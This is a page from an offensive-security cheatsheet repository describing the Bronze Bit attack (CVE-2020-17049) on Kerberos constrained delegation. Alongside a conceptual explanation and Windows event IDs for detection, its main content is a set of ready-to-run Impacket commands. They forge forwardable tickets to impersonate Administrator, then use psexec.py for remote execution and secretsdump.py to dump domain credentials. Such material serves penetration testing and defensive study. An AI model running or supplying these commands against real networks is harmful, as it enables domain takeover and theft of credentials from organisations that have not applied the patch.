repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-18-bronze-bit-attack-cve-2020-17049.mdMarkdown145 lines6.5 KiBsource raw download

title: "Attack #18 β€” Bronze Bit Attack (CVE-2020-17049)" description: "The Bronze Bit attack exploits CVE-2020-17049, a vulnerability in the Kerberos Constrained Delegation mechanism. It allows an attacker to bypass the…" category: active-directory subcategory: "Kerberos & Delegation" tags: ["active-directory", "kerberos", "delegation"] tools: ["Impacket", "Mimikatz", "Rubeus"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Two/🟠 Attack #18 β€” Bronze Bit Attack (CVE-2020-17049).md"#

🟠 Attack #18 β€” Bronze Bit Attack (CVE-2020-17049)#


πŸ“– How It Works#

The Bronze Bit attack exploits CVE-2020-17049, a vulnerability in the Kerberos Constrained Delegation mechanism. It allows an attacker to bypass the "sensitive and cannot be delegated" account protection and the Protected Users group restriction β€” two controls specifically designed to prevent delegation-based impersonation attacks.

The Vulnerability#

When a service account with Constrained Delegation performs S4U2Self to get a ticket on behalf of a protected user, the KDC correctly issues that ticket with the forwardable flag unset β€” preventing S4U2Proxy from working. However, the forwardable flag is stored inside the encrypted portion of the ticket, which is encrypted with the service account's long-term key. Since the attacker already has the service account's key (it's a prerequisite for the attack), they can:

  1. Decrypt the S4U2Self service ticket
  2. Flip the forwardable bit from 0 to 1
  3. Re-encrypt the ticket
  4. Present it to the KDC in an S4U2Proxy request

The KDC sees the forwardable flag is set and processes the delegation request β€” without re-validating whether the user is actually protected.

Impact#

Without Bronze Bit With Bronze Bit
Cannot impersonate users in Protected Users group βœ… CAN impersonate Protected Users
Cannot impersonate "sensitive and cannot be delegated" accounts βœ… CAN impersonate sensitive accounts
Domain Admins marked sensitive are safe from delegation ❌ Domain Admins are vulnerable again

βš™οΈ Prerequisites#

Requirement Detail
Compromised Constrained Delegation account Hash, password, or AES key of a service with CD or RBCD
Target is unpatched CVE-2020-17049 patches (Dec 2020 / Jan 2021) must NOT be installed on DCs
Target user is "sensitive" or in Protected Users Otherwise, standard S4U2Proxy works without Bronze Bit

πŸ› οΈ Tools#

Tool Platform Notes
Impacket β€” getST.py Linux -force-forwardable flag implements Bronze Bit
Rubeus Windows Manual ticket manipulation possible
Mimikatz Windows Ticket decryption and re-encryption

πŸ’» Full Commands#

πŸ”΄ Impacket β€” getST.py with Bronze Bit (Linux)#

# ── Standard S4U attack (fails on protected users without Bronze Bit) ─────────
getST.py -spn CIFS/DC01.corp.local \
  -impersonate Administrator \
  -dc-ip 10.10.10.10 \
  corp.local/svc_constrained:'Password1'
# Error: KDC_ERR_BADOPTION β€” user is sensitive / in Protected Users

# ── Bronze Bit bypass β€” force forwardable flag ────────────────────────────────
getST.py -spn CIFS/DC01.corp.local \
  -impersonate Administrator \
  -dc-ip 10.10.10.10 \
  -force-forwardable \
  corp.local/svc_constrained:'Password1'

# -force-forwardable = decrypts ticket, flips forwardable bit, re-encrypts
# Works even if Administrator is in Protected Users or marked "sensitive"

# ── Using NT hash ─────────────────────────────────────────────────────────────
getST.py -spn CIFS/DC01.corp.local \
  -impersonate Administrator \
  -hashes :a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \
  -dc-ip 10.10.10.10 \
  -force-forwardable \
  corp.local/svc_constrained

# ── Use the ticket ────────────────────────────────────────────────────────────
export KRB5CCNAME=Administrator@CIFS_DC01.corp.local@CORP.LOCAL.ccache
psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local
secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local

# ── RBCD + Bronze Bit combo ───────────────────────────────────────────────────
# If you've set up RBCD (Attack #17) but the target user is protected:
getST.py -spn cifs/TARGET.corp.local \
  -impersonate Administrator \
  -dc-ip 10.10.10.10 \
  -force-forwardable \
  corp.local/'FAKEMACHINE$':'FakePass123!'

🎯 OPSEC Tips#


πŸ›‘οΈ Detection β€” Event IDs#

Event ID Source What to Look For
4769 Security Log (DC) S4U2Proxy request for a user that should be delegation-protected
4768 Security Log (DC) TGT request associated with the constrained delegation account

Primary detection: If a user marked "sensitive and cannot be delegated" or in the Protected Users group successfully authenticates via delegation (Event 4624 with constrained delegation indicators), that's a Bronze Bit indicator. The DC should have rejected the delegation.


πŸ”— Attack Chain Context#

[Bronze Bit] ──→ Delegation Protection Bypass
         β”‚
         β”œβ”€β”€β†’ πŸ”“ Bypasses "sensitive and cannot be delegated" flag
         β”œβ”€β”€β†’ πŸ›‘οΈ Bypasses Protected Users group delegation restriction
         β”œβ”€β”€β†’ πŸ”— Chain with: Constrained Delegation (#16), RBCD (#17)
         β”œβ”€β”€β†’ πŸ“‹ CVE-2020-17049 β€” patched Dec 2020 / Jan 2021
         └──→ πŸ’€ Defeated by: patch DCs, monitor for anomalous delegation events

βœ… Attack #18 β€” Bronze Bit complete.


🏁 Category 2 β€” Kerberos Abuse is now COMPLETE (8/8 attacks).